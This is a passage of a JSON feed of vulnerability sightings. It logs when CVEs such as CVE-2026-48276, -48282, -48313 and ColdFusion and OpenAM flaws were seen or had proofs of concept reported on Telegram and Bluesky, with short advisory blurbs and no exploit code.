CVE-2026-4882 \u2014 CVSS 9.8\nCVE-2026-4882: WordPress Plugin Arbitrary File Upload Critical Flaw\n\nCVE-2026-4882 \u2014 The User Registration Advanced Fields plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'URAF_AJAX::method_upload' function in all versions up to,\u2026\n\n\ud83d\udfe1 Medium\n\n#cve  #critical  #high_severity\n\n\ud83d\udcd6 Full analysis + IOCs \u2192\n\ud83c\udfaf Type /detect cve-2026-4882 in the bot\nOpen Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:20.167586Z"}, {"uuid": "62181aa5-ef9a-4ffb-815d-6a0892b8af0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/4ITBQs_VeuIKJI_vGsXuapej81LyBL_CkqFO9ehPCpzQhW8", "content": "", "creation_timestamp": "2026-09-12T12:00:05.037079Z"}, {"uuid": "ac2f225f-fdae-4619-8824-621c25de9e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/4ITBQs_VeuIKJI_vGsXuapej81LyBL_CkqFO9ehPCpzQhW8", "content": "", "creation_timestamp": "2026-09-12T12:00:05.090900Z"}, {"uuid": "ef411e39-6986-4f3a-9b4a-3394f385f683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/4ITBQs_VeuIKJI_vGsXuapej81LyBL_CkqFO9ehPCpzQhW8", "content": "", "creation_timestamp": "2026-09-12T12:00:05.143464Z"}, {"uuid": "ec4d3d22-da89-4c9a-9541-0795175dc5af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/xijd_pXali92ICckY7Pfz_ZfF34tolJFnspmAF2EnViaG8Y", "content": "", "creation_timestamp": "2026-09-12T18:00:05.750114Z"}, {"uuid": "a931ab4d-ea2f-4a3e-9e28-84bf5b0b214f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/xijd_pXali92ICckY7Pfz_ZfF34tolJFnspmAF2EnViaG8Y", "content": "", "creation_timestamp": "2026-09-12T18:00:05.807040Z"}, {"uuid": "941c5519-3650-4a7b-8266-cafeb97691fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/xijd_pXali92ICckY7Pfz_ZfF34tolJFnspmAF2EnViaG8Y", "content": "", "creation_timestamp": "2026-09-12T18:00:05.855538Z"}, {"uuid": "6201736c-e436-4dcb-a070-ac64c63a357b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/nik-kale.bsky.social/post/3mvdsx4cgbp2i", "content": "LiteLLM: CVE-2026-42271 chained with CVE-2026-48710 for remote code execution, then credential theft, database access and cryptomining. RAGFlow: provider credentials intercepted through application hooks.", "creation_timestamp": "2026-09-12T19:30:02.222186Z"}, {"uuid": "d9e96399-2707-46cd-b5b3-f5e7529028f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "Telegram/WA1am3wVED1ihI_ltluQoBPVeOrk0DZDBz6Puwasnq4ACY8", "content": "", "creation_timestamp": "2026-09-12T22:00:05.029593Z"}, {"uuid": "a66b88d9-3d68-41b5-bfb7-de9ec38fd7a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/WA1am3wVED1ihI_ltluQoBPVeOrk0DZDBz6Puwasnq4ACY8", "content": "", "creation_timestamp": "2026-09-12T22:00:05.949682Z"}, {"uuid": "f32e95f6-5d63-46de-88da-20ee7e9bb4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "Telegram/WA1am3wVED1ihI_ltluQoBPVeOrk0DZDBz6Puwasnq4ACY8", "content": "", "creation_timestamp": "2026-09-12T22:00:06.008535Z"}, {"uuid": "f307bd01-17fb-45bb-b47f-4b756f58aab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/WA1am3wVED1ihI_ltluQoBPVeOrk0DZDBz6Puwasnq4ACY8", "content": "", "creation_timestamp": "2026-09-13T00:00:06.757491Z"}, {"uuid": "ecb0f974-c68d-4cd6-ab2e-5d081cb1d8b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/WA1am3wVED1ihI_ltluQoBPVeOrk0DZDBz6Puwasnq4ACY8", "content": "", "creation_timestamp": "2026-09-13T00:00:06.658839Z"}, {"uuid": "5be92679-cef1-4530-ba38-08e7be62a357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/WA1am3wVED1ihI_ltluQoBPVeOrk0DZDBz6Puwasnq4ACY8", "content": "", "creation_timestamp": "2026-09-13T00:00:06.707893Z"}, {"uuid": "3fd97dc6-c848-4cb2-b2b8-ab9611690513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/mrTZfT-xgev30sNQrG5wfoUDAhdRfewFglwj142qioDHDd8", "content": "", "creation_timestamp": "2026-09-13T05:00:03.987872Z"}, {"uuid": "08b72453-f289-4862-a36e-055d1ef7514c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "Telegram/mrTZfT-xgev30sNQrG5wfoUDAhdRfewFglwj142qioDHDd8", "content": "", "creation_timestamp": "2026-09-13T05:00:04.049700Z"}, {"uuid": "4cfc2ff0-edda-4295-80cf-ddc5c25446f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "Telegram/mrTZfT-xgev30sNQrG5wfoUDAhdRfewFglwj142qioDHDd8", "content": "", "creation_timestamp": "2026-09-13T05:00:04.988383Z"}, {"uuid": "1e04fa50-409e-447c-b386-2890cc6baae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvfpazr4xc2l", "content": "Adobe\u306f\u3001ColdFusion\u304a\u3088\u3073Campaign Classic\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u5f37\u304f\u63a8\u5968\u3057\u3066\u3044\u308b\u3002\n\n\u512a\u5148\u5ea61\u306b\u6307\u5b9a\u3055\u308c\u305fColdFusion\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u300115\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u304c\u4fee\u6b63\u3055\u308c\u3066\u304a\u308a\u3001\u305d\u306e\u3046\u30613\u4ef6\u306f\u91cd\u5927\u306a\u6b20\u9665\u3068\u3057\u3066\u30d5\u30e9\u30b0\u4ed8\u3051\u3055\u308c\u3066\u304a\u308a\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\uff08DoS\uff09\u653b\u6483\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n\u3053\u308c\u3089\u306b\u306f\u3001CVE-2026-48362\uff08CVSS\u30b9\u30b3\u30a210/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308bOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001CVE-2026-48273\uff08CVSS\u30b9\u30b3\u30a29.9/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308beval\u30a4\u30f3\u30b8\u30a7\u30af...", "creation_timestamp": "2026-09-13T13:29:33.507573Z"}, {"uuid": "f66d22e3-f5fd-46bc-bb17-b1e6ef2cfafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48273", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mvfpazr4xc2l", "content": "Adobe\u306f\u3001ColdFusion\u304a\u3088\u3073Campaign Classic\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u5f37\u304f\u63a8\u5968\u3057\u3066\u3044\u308b\u3002\n\n\u512a\u5148\u5ea61\u306b\u6307\u5b9a\u3055\u308c\u305fColdFusion\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3067\u306f\u300115\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u304c\u4fee\u6b63\u3055\u308c\u3066\u304a\u308a\u3001\u305d\u306e\u3046\u30613\u4ef6\u306f\u91cd\u5927\u306a\u6b20\u9665\u3068\u3057\u3066\u30d5\u30e9\u30b0\u4ed8\u3051\u3055\u308c\u3066\u304a\u308a\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\uff08DoS\uff09\u653b\u6483\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\n\n\u3053\u308c\u3089\u306b\u306f\u3001CVE-2026-48362\uff08CVSS\u30b9\u30b3\u30a210/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308bOS\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001CVE-2026-48273\uff08CVSS\u30b9\u30b3\u30a29.9/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308beval\u30a4\u30f3\u30b8\u30a7\u30af...", "creation_timestamp": "2026-09-13T13:29:33.558546Z"}, {"uuid": "13c475f1-fc61-4b8a-989d-a597838eb28f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/MV-6lEfTAEIhei4hXYwO8dT-IrhtJUZgAa0y0F-BLXlRdpY", "content": "", "creation_timestamp": "2026-09-13T22:00:08.532493Z"}, {"uuid": "1e772d39-9979-44d3-b391-f3f51f0a5cba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/MV-6lEfTAEIhei4hXYwO8dT-IrhtJUZgAa0y0F-BLXlRdpY", "content": "", "creation_timestamp": "2026-09-13T22:00:08.575172Z"}, {"uuid": "76da06e4-728e-4195-ab84-9bce8d6e4414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/MV-6lEfTAEIhei4hXYwO8dT-IrhtJUZgAa0y0F-BLXlRdpY", "content": "", "creation_timestamp": "2026-09-13T22:00:08.616698Z"}, {"uuid": "45d8dbad-66ec-4624-8a1a-d5264910dba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/mrTZfT-xgev30sNQrG5wfoUDAhdRfewFglwj142qioDHDd8", "content": "", "creation_timestamp": "2026-09-14T00:00:31.083750Z"}, {"uuid": "1fcfb5d7-b99b-4c96-8c01-8732dc0a80ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/mrTZfT-xgev30sNQrG5wfoUDAhdRfewFglwj142qioDHDd8", "content": "", "creation_timestamp": "2026-09-14T00:00:31.138539Z"}, {"uuid": "8e20624f-23c5-4ef2-ba9e-8f1eae72a52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/mrTZfT-xgev30sNQrG5wfoUDAhdRfewFglwj142qioDHDd8", "content": "", "creation_timestamp": "2026-09-14T00:00:31.193114Z"}, {"uuid": "95eae796-ac16-4088-872d-8f4e68dfb188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "Telegram/QPnhAkcSv65O9z5khy-2YhN2_-wH59LYz7G9vcOVyzjPCUs", "content": "", "creation_timestamp": "2026-09-14T04:00:04.408609Z"}, {"uuid": "09109c31-0e87-44d9-b2ff-96f4eba73ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "Telegram/QPnhAkcSv65O9z5khy-2YhN2_-wH59LYz7G9vcOVyzjPCUs", "content": "", "creation_timestamp": "2026-09-14T04:00:04.456245Z"}, {"uuid": "b3d309bb-3697-4239-b4df-54a604dff601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/QPnhAkcSv65O9z5khy-2YhN2_-wH59LYz7G9vcOVyzjPCUs", "content": "", "creation_timestamp": "2026-09-14T04:00:04.500928Z"}, {"uuid": "1003de58-603c-4dce-835b-db1e45575ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/ogktPEPaYzH7h4_etJAszEPQ2lOhy0CQ5rMUy6B8ErhzKPE", "content": "", "creation_timestamp": "2026-09-14T15:00:04.531535Z"}, {"uuid": "cbef1640-0cd3-4323-a31e-244cb196094e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/ogktPEPaYzH7h4_etJAszEPQ2lOhy0CQ5rMUy6B8ErhzKPE", "content": "", "creation_timestamp": "2026-09-14T15:00:04.416250Z"}, {"uuid": "27911a6c-ec3e-4c5b-bfdb-07e69fc413ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/ogktPEPaYzH7h4_etJAszEPQ2lOhy0CQ5rMUy6B8ErhzKPE", "content": "", "creation_timestamp": "2026-09-14T15:00:04.472727Z"}, {"uuid": "0426f610-f6db-4724-9c3f-7ee7b17ef37b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/QPnhAkcSv65O9z5khy-2YhN2_-wH59LYz7G9vcOVyzjPCUs", "content": "", "creation_timestamp": "2026-09-15T00:00:30.217454Z"}, {"uuid": "d91b5f08-09e5-4ef3-a7e3-cc71ac91e7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/QPnhAkcSv65O9z5khy-2YhN2_-wH59LYz7G9vcOVyzjPCUs", "content": "", "creation_timestamp": "2026-09-15T00:00:30.255105Z"}, {"uuid": "6196654a-f0cc-45e0-a71f-55bf1f065144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/QPnhAkcSv65O9z5khy-2YhN2_-wH59LYz7G9vcOVyzjPCUs", "content": "", "creation_timestamp": "2026-09-15T00:00:30.284727Z"}, {"uuid": "d6b56da3-193e-4779-8b81-316fc05a28bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48273", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mvjp3w3oxw2u", "content": "\ud83d\udccc CVE-2026-48273 - ColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') vulnerability that could result in... https://www.cyberhub.blog/cves/CVE-2026-48273", "creation_timestamp": "2026-09-15T03:37:07.742818Z"}, {"uuid": "e3e8d1bb-90f6-4d78-879e-e8d8fccc2dad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/GithubRedTeam/102353", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NONAME-ELV\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-15 05:54:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-15T08:00:05.085715Z"}, {"uuid": "471975ca-dcae-4922-ac28-e578ecf19617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48717", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvkixutqr32p", "content": "CVE-2026-48717 - org.openidentityplatform.openam:openam-oauth2\nA security issue in OpenAM's OAuth2 authorization system allows an attacker to obtain access tokens without verifying the required\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openidentityplatform #Java #CVE #infosec", "creation_timestamp": "2026-09-15T11:20:08.464867Z"}, {"uuid": "6598e9e8-b4ba-46bb-810a-93914b48c71e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48717", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvklmrwhjf2w", "content": "\ud83d\udea8 CVE-2026-48717 \u2014 CVSS 9.1 CRITICAL\n\nOpen Access Management (OpenAM) is an access management solution. Prior to 16.1.1, AuthorizationCodeGrantTy...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-48717\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-15T12:07:37.510142Z"}, {"uuid": "af692a2f-4ec8-4d1a-b695-bf915ad64fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/voXjSXn9jH4Uuz8v6oWgQ6wY3LHxoNXW8ZACcBHLR0PcWkA", "content": "", "creation_timestamp": "2026-09-15T14:00:06.078588Z"}, {"uuid": "0a2bda13-66e5-4a8c-a7ef-c414c750e8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "Telegram/voXjSXn9jH4Uuz8v6oWgQ6wY3LHxoNXW8ZACcBHLR0PcWkA", "content": "", "creation_timestamp": "2026-09-15T14:00:06.137886Z"}, {"uuid": "51fd73de-3ff3-4ebd-8c42-4ac4dd1e0a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "Telegram/voXjSXn9jH4Uuz8v6oWgQ6wY3LHxoNXW8ZACcBHLR0PcWkA", "content": "", "creation_timestamp": "2026-09-15T14:00:06.190540Z"}, {"uuid": "7fe5cfa0-d7b4-404f-b43c-c1300ceb080a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "Telegram/cHChk-32VMe1rqwRa6GJfVvCPJWnYrhIFRNxIOW8bZ4FvwU", "content": "", "creation_timestamp": "2026-09-15T23:00:05.489262Z"}, {"uuid": "e9ff0275-eb70-4f69-8e68-1e5b86f412d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "Telegram/_TFxB3pDnXrZuvduo2zkQLN-Ru_utGkCFI6p0IlRWz_Xk3s", "content": "", "creation_timestamp": "2026-09-15T20:00:04.949618Z"}, {"uuid": "14f240bc-edea-4110-b2f3-f81b06a8c7c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "Telegram/_TFxB3pDnXrZuvduo2zkQLN-Ru_utGkCFI6p0IlRWz_Xk3s", "content": "", "creation_timestamp": "2026-09-15T20:00:05.011671Z"}, {"uuid": "3fb1f6fb-340f-4ebf-9b67-45ca395d69f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/_TFxB3pDnXrZuvduo2zkQLN-Ru_utGkCFI6p0IlRWz_Xk3s", "content": "", "creation_timestamp": "2026-09-15T20:00:05.073544Z"}, {"uuid": "7eec83c5-3d9d-4886-a6f6-5c5059e826bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/cHChk-32VMe1rqwRa6GJfVvCPJWnYrhIFRNxIOW8bZ4FvwU", "content": "", "creation_timestamp": "2026-09-15T23:00:05.545688Z"}, {"uuid": "e6e7529e-03b8-4c3e-8e11-f76533c27291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "Telegram/cHChk-32VMe1rqwRa6GJfVvCPJWnYrhIFRNxIOW8bZ4FvwU", "content": "", "creation_timestamp": "2026-09-15T23:00:05.610767Z"}, {"uuid": "1708c3dd-b4c9-40d9-a985-306451d7400e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/cHChk-32VMe1rqwRa6GJfVvCPJWnYrhIFRNxIOW8bZ4FvwU", "content": "", "creation_timestamp": "2026-09-16T00:00:08.279746Z"}, {"uuid": "d4e6a19b-64be-4f4d-be59-101a0766361c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/cHChk-32VMe1rqwRa6GJfVvCPJWnYrhIFRNxIOW8bZ4FvwU", "content": "", "creation_timestamp": "2026-09-16T00:00:08.368026Z"}, {"uuid": "81e4db2b-d27a-481b-8998-2460e4f8e0d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/cHChk-32VMe1rqwRa6GJfVvCPJWnYrhIFRNxIOW8bZ4FvwU", "content": "", "creation_timestamp": "2026-09-16T00:00:08.488111Z"}, {"uuid": "162ab342-373b-404e-bae1-9ba4651cb72c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "Telegram/_TFxB3pDnXrZuvduo2zkQLN-Ru_utGkCFI6p0IlRWz_Xk3s", "content": "", "creation_timestamp": "2026-09-16T00:00:11.436140Z"}, {"uuid": "6ad10017-d224-4ad0-98ac-945a22e04d3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/_TFxB3pDnXrZuvduo2zkQLN-Ru_utGkCFI6p0IlRWz_Xk3s", "content": "", "creation_timestamp": "2026-09-16T00:00:11.571479Z"}, {"uuid": "c5ca1e50-e44b-4f3f-8f66-9a181f6c540b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/_TFxB3pDnXrZuvduo2zkQLN-Ru_utGkCFI6p0IlRWz_Xk3s", "content": "", "creation_timestamp": "2026-09-16T00:00:11.644248Z"}, {"uuid": "43bb29aa-9297-44fe-934f-b7ae722aee8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/voXjSXn9jH4Uuz8v6oWgQ6wY3LHxoNXW8ZACcBHLR0PcWkA", "content": "", "creation_timestamp": "2026-09-16T00:00:30.482117Z"}, {"uuid": "3fdb6b88-7936-423e-b99e-6ed4b0cd0598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": 